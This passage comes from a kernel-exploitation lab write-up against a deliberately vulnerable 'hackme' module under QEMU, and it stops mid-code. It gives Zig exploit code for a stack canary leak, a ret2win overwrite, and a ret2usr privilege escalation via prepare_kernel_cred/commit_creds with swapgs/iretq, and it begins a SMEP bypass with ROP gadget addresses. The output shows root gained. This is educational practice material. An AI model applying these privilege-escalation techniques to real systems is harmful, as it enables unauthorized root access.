</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> bytes_read <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">read</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">dumpHex</span>(buf[<span style="color:#00bcff">0</span>..bytes_read]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">write</span>(fd, <span style="color:#79a8ff">&#34;nil&#34;</span>);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>00007ffd2da7aa00  20 80 5F 07 80 88 FF FF  E0 0F 00 00 00 00 00 00   ._.............
</span></span><span style="display:flex;"><span>00007ffd2da7aa10  00 E6 F6 3F FF 6D FB F3  10 68 CA 06 80 88 FF FF  ...?.m...h......
</span></span><span style="display:flex;"><span>00007ffd2da7a9f0  68 FE 1B 00 00 C9 FF FF                           h.......
</span></span><span style="display:flex;"><span>[    1.539980] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: hackme_write+0xae/0xc0 [hackme]
</span></span><span style="display:flex;"><span>[    1.540395] CPU: 0 PID: 112 Comm: exploit Tainted: G           O      5.9.0-rc6+ #10
</span></span><span style="display:flex;"><span>[    1.540600] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014
</span></span><span style="display:flex;"><span>[    1.540865] Call Trace:
</span></span><span style="display:flex;"><span>[    1.541476]  dump_stack+0x74/0x92
</span></span><span style="display:flex;"><span>[    1.541560]  panic+0xfe/0x2e3
</span></span><span style="display:flex;"><span>[    1.541641]  ? hackme_write+0xae/0xc0 [hackme]
</span></span><span style="display:flex;"><span>[    1.541704]  __stack_chk_fail+0x14/0x20
</span></span><span style="display:flex;"><span>[    1.541757]  hackme_write+0xae/0xc0 [hackme]
</span></span><span style="display:flex;"><span>[    1.541840]  ? ksys_write+0xa7/0xe0
</span></span><span style="display:flex;"><span>[    1.541910]  ? exit_to_user_mode_prepare+0x31/0x180
</span></span><span style="display:flex;"><span>[    1.541975]  ? __x64_sys_write+0x1a/0x20
</span></span><span style="display:flex;"><span>[    1.542036]  ? do_syscall_64+0x37/0x80
</span></span><span style="display:flex;"><span>[    1.542111]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
</span></span><span style="display:flex;"><span>[    1.542666] Kernel Offset: disabled
</span></span><span style="display:flex;"><span>[    1.542945] Rebooting in 1 seconds..</span></span></code></pre></div>

<p>Sanity check complete.</p>
<p>Now let&rsquo;s leak that pesky stack canary!
According to IDA there&rsquo;s nothing below <kbd>int tmp[32]</kbd> on the stack (besides the frame pointer), so the offset should be 4 * 32 + 8.</p>
<blockquote>
<p><strong>Pro tip:</strong>
You can debug kernel modules under GDB by adding the offset of a particular function or instruction to the base address of said module, which can be found in  <kbd>/proc/modules</kbd>.</p></blockquote>
<p><a id="code-snippet--canary-leak"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">4</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">32</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">8</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>_ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">read</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>std.mem.<span style="color:#feacd0">reverse</span>(<span style="color:#6ae4b9">u8</span>, buf[buf.len<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>..]);
</span></span><span style="display:flex;"><span>std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;Stack canary is 0x{s}</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, .{std.fmt.<span style="color:#feacd0">bytesToHex</span>(buf[buf.len<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>..], .lower)});</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Stack canary is 0x1c55bfc54ff0b200</span></span></code></pre></div>

<p>Let&rsquo;s check if we can do a simple ret2win:</p>
<p><a id="code-snippet--ret2win"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> tmp_size <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#6ae4b9">i32</span>) <span style="color:#00d3d0">*</span> <span style="color:#00bcff">32</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">bigEndianify</span>(<span style="color:#b6a0ff">comptime</span> len<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>, buf<span style="color:#00d3d0">:</span> []<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>) [len]<span style="color:#6ae4b9">u8</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> bufLE<span style="color:#00d3d0">:</span> [len]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">inline</span> <span style="color:#b6a0ff">for</span> (<span style="color:#00bcff">0</span>..len) <span style="color:#00d3d0">|</span>i<span style="color:#00d3d0">|</span> bufLE[i] <span style="color:#00d3d0">=</span> buf[len<span style="color:#00d3d0">-</span><span style="color:#00bcff">1</span><span style="color:#00d3d0">-</span>i];
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> bufLE;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> __spinlock<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">inline</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">spin</span>() <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">while</span> (<span style="color:#00bcff">true</span>) <span style="color:#b6a0ff">if</span> (__spinlock) <span style="color:#b6a0ff">break</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">leakCanary</span>(fd<span style="color:#00d3d0">:</span> std.posix.fd_t) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">u64</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [tmp_size <span style="color:#00d3d0">+</span> <span style="color:#00bcff">8</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">read</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> std.mem.<span style="color:#feacd0">bytesAsValue</span>(<span style="color:#6ae4b9">u64</span>, buf[tmp_size..]).<span style="color:#00d3d0">*</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ret2win</span>() <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// i don&#39;t understand why, but this doesn&#39;t work (for an unpriviledged shell)
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#a8a8a8">// std.debug.print(&#34;[INFO] You won!!\n&#34;, .{});
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#a8a8a8">// const argv = [_:null]?[*:0]const u8{&#34;/usr/bin/whoami&#34;};
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#a8a8a8">// switch (std.posix.execveZ(argv[0].?, argv[0..argv.len], &amp;[_:null]?[*:0]const u8{})) {
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#a8a8a8">//     else =&gt; unreachable,
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#a8a8a8">// }
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">asm</span> <span style="color:#b6a0ff">volatile</span>(<span style="color:#79a8ff">&#34;int3; nop&#34;</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">exploit</span>(fd<span style="color:#00d3d0">:</span> std.posix.fd_t) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> ret <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span><span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>ret2win));
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;[INFO] Address of ret2win is 0x{s}</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, .{std.fmt.<span style="color:#feacd0">bytesToHex</span>(<span style="color:#feacd0">bigEndianify</span>(<span style="color:#00bcff">8</span>, <span style="color:#f78fe7">@constCast</span>(ret)), .lower)});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> canary <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">leakCanary</span>(fd);
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;[INFO] Stack canary is 0x{s}</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, .{std.fmt.<span style="color:#feacd0">bytesToHex</span>(<span style="color:#feacd0">bigEndianify</span>(<span style="color:#00bcff">8</span>, <span style="color:#f78fe7">@constCast</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>canary))), .lower)});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> payload <span style="color:#00d3d0">=</span>
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u8</span>{<span style="color:#00bcff">0</span>} <span style="color:#00d3d0">**</span> tmp_size <span style="color:#00d3d0">++</span>
</span></span><span style="display:flex;"><span>        std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>canary) <span style="color:#00d3d0">++</span>
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u8</span>{<span style="color:#00bcff">0</span>} <span style="color:#00d3d0">**</span> (<span style="color:#00bcff">8</span> <span style="color:#00d3d0">*</span> <span style="color:#00bcff">3</span>) <span style="color:#00d3d0">++</span>
</span></span><span style="display:flex;"><span>        ret;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">write</span>(fd, payload);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[INFO] Address of ret2win is 0x00000000010251b0
</span></span><span style="display:flex;"><span>[INFO] Stack canary is 0x5d0897751cd5fe00
</span></span><span style="display:flex;"><span>[    2.480911] int3: 0000 [#1] SMP NOPTI
</span></span><span style="display:flex;"><span>[    2.480961] CPU: 0 PID: 112 Comm: exploit Tainted: G           O      5.9.0-rc6+ #10
</span></span><span style="display:flex;"><span>[    2.480966] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014
</span></span><span style="display:flex;"><span>[    2.480968] RIP: 0010:0x10251b1
</span></span><span style="display:flex;"><span>[    2.480970] Code: Bad RIP value.
</span></span><span style="display:flex;"><span>[    2.481005] RSP: 0018:ffffc900001bfeb0 EFLAGS: 00000296
</span></span><span style="display:flex;"><span>[    2.481028] RAX: 00000000000000a8 RBX: 0000000000000000 RCX: 0000000000000000
</span></span><span style="display:flex;"><span>[    2.481031] RDX: 0000000000000008 RSI: ffffffffc00024e0 RDI: ffffc900001bfea8
</span></span><span style="display:flex;"><span>[    2.481034] RBP: 0000000000000000 R08: 00000000010251b0 R09: 00000000010251b0
</span></span><span style="display:flex;"><span>[    2.481037] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000
</span></span><span style="display:flex;"><span>[    2.481039] R13: ffffc900001bfef0 R14: 00007ffe920c3488 R15: ffff8880060c8600
</span></span><span style="display:flex;"><span>[    2.481042] FS:  0000000000000000(0000) GS:ffff888007800000(0000) knlGS:0000000000000000
</span></span><span style="display:flex;"><span>[    2.481045] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
</span></span><span style="display:flex;"><span>[    2.481048] CR2: 000000000101fe20 CR3: 0000000006164000 CR4: 00000000000006f0
</span></span><span style="display:flex;"><span>[    2.481050] Call Trace:
</span></span><span style="display:flex;"><span>[    2.481052]  ? ksys_write+0xa7/0xe0
</span></span><span style="display:flex;"><span>[    2.481054]  ? exit_to_user_mode_prepare+0x31/0x180
</span></span><span style="display:flex;"><span>[    2.481056]  ? __x64_sys_write+0x1a/0x20
</span></span><span style="display:flex;"><span>[    2.481058]  ? do_syscall_64+0x37/0x80
</span></span><span style="display:flex;"><span>[    2.481061]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
</span></span><span style="display:flex;"><span>[    2.481063] Modules linked in: hackme(O)
</span></span><span style="display:flex;"><span>[    2.485064] ---[ end trace 32df1ad37c4c8194 ]---
</span></span><span style="display:flex;"><span>[    2.485072] RIP: 0010:0x10251b1
</span></span><span style="display:flex;"><span>[    2.485075] Code: Bad RIP value.
</span></span><span style="display:flex;"><span>[    2.485078] RSP: 0018:ffffc900001bfeb0 EFLAGS: 00000296
</span></span><span style="display:flex;"><span>[    2.485091] RAX: 00000000000000a8 RBX: 0000000000000000 RCX: 0000000000000000
</span></span><span style="display:flex;"><span>[    2.485093] RDX: 0000000000000008 RSI: ffffffffc00024e0 RDI: ffffc900001bfea8
</span></span><span style="display:flex;"><span>[    2.485096] RBP: 0000000000000000 R08: 00000000010251b0 R09: 00000000010251b0
</span></span><span style="display:flex;"><span>[    2.485098] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000
</span></span><span style="display:flex;"><span>[    2.485101] R13: ffffc900001bfef0 R14: 00007ffe920c3488 R15: ffff8880060c8600
</span></span><span style="display:flex;"><span>[    2.485103] FS:  0000000000000000(0000) GS:ffff888007800000(0000) knlGS:0000000000000000
</span></span><span style="display:flex;"><span>[    2.485106] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
</span></span><span style="display:flex;"><span>[    2.485108] CR2: 000000000101fe20 CR3: 0000000006164000 CR4: 00000000000006f0
</span></span><span style="display:flex;"><span>[    2.485111] Kernel panic - not syncing: Fatal exception in interrupt
</span></span><span style="display:flex;"><span>[    2.485661] Kernel Offset: disabled</span></span></code></pre></div>

<p>Nice.</p>
<h3 id="ret2usr">ret2usr</h3>
<p>For priviledge escalation, we&rsquo;ll create a new set of root credentials with <kbd>prepare_kernel_cred(NULL)</kbd> and overwrite the process&rsquo;s existing cred struct with <kbd>commit_creds()</kbd>.<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cat /proc/kallsyms | grep -e <span style="color:#79a8ff">&#39;prepare_kernel_cred&#39;</span> -e <span style="color:#79a8ff">&#39;commit_creds&#39;</span></span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ffffffff814c6410 T commit_creds
</span></span><span style="display:flex;"><span>ffffffff814c67f0 T prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff81f87d90 r __ksymtab_commit_creds
</span></span><span style="display:flex;"><span>ffffffff81f8d4fc r __ksymtab_prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff81fa0972 r __kstrtab_commit_creds
</span></span><span style="display:flex;"><span>ffffffff81fa09b2 r __kstrtab_prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff81fa4d42 r __kstrtabns_commit_creds
</span></span><span style="display:flex;"><span>ffffffff81fa4d42 r __kstrtabns_prepare_kernel_cred</span></span></code></pre></div>

<p>Additionally, we need to swap to userland before we pop a shell; this can be accomplished by saving the state of registers before interacting with the <code>hackme</code> driver, then calling <kbd>swapgs</kbd>/<kbd>iretq</kbd> to context switch back to userland.</p>
<p><a id="code-snippet--priviledge-escalation"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">export</span> <span style="color:#b6a0ff">var</span> user_cs<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">export</span> <span style="color:#b6a0ff">var</span> user_ss<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">export</span> <span style="color:#b6a0ff">var</span> user_rsp<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">export</span> <span style="color:#b6a0ff">var</span> user_rflags<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">saveState</span>() <span style="color:#feacd0">callconv</span>(.C) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">asm</span> <span style="color:#b6a0ff">volatile</span> (
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\.intel_syntax noprefix</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\mov user_cs, cs</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\mov user_ss, ss</span>
</span></span><span style="display:flex;"><span>	  <span style="color:#79a8ff">\\mov user_rsp, rsp</span>
</span></span><span style="display:flex;"><span>	  <span style="color:#79a8ff">\\pushf</span>
</span></span><span style="display:flex;"><span>	  <span style="color:#79a8ff">\\pop qword ptr user_rflags</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\.att_syntax</span>
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">escalate</span>() <span style="color:#feacd0">callconv</span>(.C) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">asm</span> <span style="color:#b6a0ff">volatile</span> (
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\.intel_syntax noprefix</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\xor rdi, rdi</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\movabs rcx, 0xffffffff814c67f0</span>
</span></span><span style="display:flex;"><span>	  <span style="color:#79a8ff">\\call rcx</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\mov rdi, rax</span>
</span></span><span style="display:flex;"><span>	  <span style="color:#79a8ff">\\movabs rcx, 0xffffffff814c6410</span>
</span></span><span style="display:flex;"><span>	  <span style="color:#79a8ff">\\call rcx</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\swapgs</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\mov r15, user_ss</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\push r15</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\mov r15, user_rsp</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\push r15</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\mov r15, user_rflags</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\push r15</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\mov r15, user_cs</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\push r15</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\mov r15, user_rip</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\push r15</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\iretq</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\.att_syntax</span>
</span></span><span style="display:flex;"><span>   );
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1000
</span></span><span style="display:flex;"><span>[INFO] Saved state
</span></span><span style="display:flex;"><span>[INFO] Canary: 0x4876ab567c920000
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>whoami: unknown uid 0</span></span></code></pre></div>

<h3 id="smep">SMEP</h3>
<p><strong>Supervisor mode execution protection</strong> is kinda like the NX bit: when we&rsquo;re in the kernel, userland pages are marked as non-executable.
So instead of just calling <kbd>ret2win</kbd> we have to use ROP to pop a shell.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ropr --range<span style="color:#00d3d0">=</span>0xffffffff81000000-0xffffffff81b00000 -R <span style="color:#79a8ff">&#39;^swapgs|^iretq|^pop rdi; ret|^mov rdi, rax; (mov|ret)&#39;</span> vmlinux</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0xffffffff81005245: mov rdi, rax; mov rdx, [rsp+8]; mov rax, [rsp]; add rsp, 0x18; jmp rdi;
</span></span><span style="display:flex;"><span>0xffffffff8100a557: swapgs; rdgsbase rax; swapgs; pop rbp; ret;
</span></span><span style="display:flex;"><span>0xffffffff8100a590: swapgs; wrgsbase rdi; swapgs; pop rbp; ret;
</span></span><span style="display:flex;"><span>0xffffffff81200000: swapgs; sysretq;
</span></span><span style="display:flex;"><span>0xffffffff812016d1: swapgs; sysret;
</span></span><span style="display:flex;"><span>0xffffffff8140867f: mov rdi, rax; mov rdx, rcx; shl rdx, 6; add rdx, rcx; mov byte ptr [rax+rdx*4+0x104], 0; call qword ptr [0xffffffff82040220];
</span></span><span style="display:flex;"><span>0xffffffff8146d4e4: swapgs; pop rbp; ret;
</span></span><span style="display:flex;"><span>0xffffffff815e8db8: pop rdi; ret 0x4100;
</span></span><span style="display:flex;"><span>0xffffffff81612872: mov rdi, rax; mov [rdx], r15; call qword ptr [0xffffffff82040220];
</span></span><span style="display:flex;"><span>0xffffffff816bf203: mov rdi, rax; mov [rsi+0x140], rdi; pop rbp; ret;
</span></span><span style="display:flex;"><span>0xffffffff816df01e: mov rdi, rax; mov [r15+0x50], edx; call qword ptr [0xffffffff82040220];
</span></span><span style="display:flex;"><span>0xffffffff8177020d: mov rdi, rax; mov rcx, [r10+0x148]; mov rdx, [r10+0x150]; call qword ptr [0xffffffff82040220];
</span></span><span style="display:flex;"><span>0xffffffff817aaccb: mov rdi, rax; mov [r8+0x98], rsi; mov [rbp-0x78], rdx; call qword ptr [0xffffffff82040220];
</span></span><span style="display:flex;"><span>0xffffffff818040d9: mov rdi, rax; mov rdx, [rdx+0x30]; mov r8, [rdx+0x40]; call qword ptr [0xffffffff82040220];
</span></span><span style="display:flex;"><span>0xffffffff818f8495: mov rdi, rax; mov qword ptr [rdi], 1; pop rbp; ret;
</span></span><span style="display:flex;"><span>0xffffffff8196258d: pop rdi; ret 0;
</span></span><span style="display:flex;"><span>0xffffffff819c67c7: iretq;
</span></span><span style="display:flex;"><span>0xffffffff819c6839: iretq;
</span></span><span style="display:flex;"><span>0xffffffff819c68f6: iretq;
</span></span><span style="display:flex;"><span>0xffffffff819ce301: pop rdi; ret 0xffff;
</span></span><span style="display:flex;"><span>0xffffffff81a68c0d: pop rdi; ret;
</span></span><span style="display:flex;"><span>0xffffffff81a77188: pop rdi; ret 0xb8ff;
</span></span><span style="display:flex;"><span>0xffffffff81adf905: iretq;</span></span></code></pre></div>

<p>Through trial and error I determined that gadgets roughly past <code>0xffffffff81b00000</code> were in a non-executable segment, so I restricted the search to reflect that.</p>
<p>Also, trying to use an allocator (including <kbd>FixedBufferAllocator</kbd>) to assist in constructing the payload led to confusing protection fault bugs, so beware of that.</p>
<p><a id="code-snippet--smep"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> POP_RDI<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff8196258d</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> MOV_RDI_RAX_POP_RBP<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff816bf203</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> SWAPGS_POP_RBP<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff8146d4e4</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> IRETQ<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff819c67c7</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> PREPARE_KERNEL_CRED<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff814c67f0</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> COMMIT_CREDS<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff814c6410</span>;
</span></span><span style="display:flex;"><span>
